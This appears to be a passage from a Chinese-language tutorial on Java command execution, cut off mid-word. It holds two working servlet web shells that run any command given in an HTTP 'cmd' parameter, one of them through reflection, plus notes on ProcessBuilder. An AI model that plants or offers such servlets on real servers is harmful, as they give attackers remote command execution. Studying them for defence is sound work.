Runtime
Runtime.exec("command")
public class LocalRuntime extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
ServletOutputStream sos = resp.getOutputStream();
int len;
byte[] bytes = new byte[1024];
while ((len = ins.read(bytes))!=-1){
sos.write(bytes, 0, len);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}
}
反射Runtime
1、反射获取Runtime的class对象
2、获取Runtime构造方法
3、newInstance一个新Runtime的实例对象
4、获取exec方法
5、invoke激活执行
public class ReflactRuntime extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
String cmd = req.getParameter("cmd");
try {
Class cls = Class.forName("java.lang.Runtime");
Constructor constructor = cls.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtime = constructor.newInstance();
Method exec = cls.getMethod("exec", String.class);
Process process = (Process) exec.invoke(runtime, cmd);
InputStream ins = process.getInputStream();
int len;
byte[] bytes = new byte[1024];
ServletOutputStream sos = resp.getOutputStream();
while ((len = ins.read(bytes)) != -1){
sos.write(bytes, 0, len);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}
}
ProcessBuilder
ProcessBuilder此类用于创建操作系统进程。每个ProcessBuilder
实例管理进程属性的集合。 start()
方法使用这些属性创建一个新的Process
实例。 start()
方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程。
ProcessBuilder.start()
和Runtime.exec
方法都可以创建一个本机进程并返回一个Process
子类的Process
(Runtime.exec底层调用的也是ProcessBuilder.start()
),可以用来控制进程并获取有关它的信息。
ProcessBuilder命令执行
1、创建ProcessBuilder实例化对象
2、调用start方法执行
3、返回的Process对象调用getInputStream获取输入流
4、读取输入流写入输出流
publ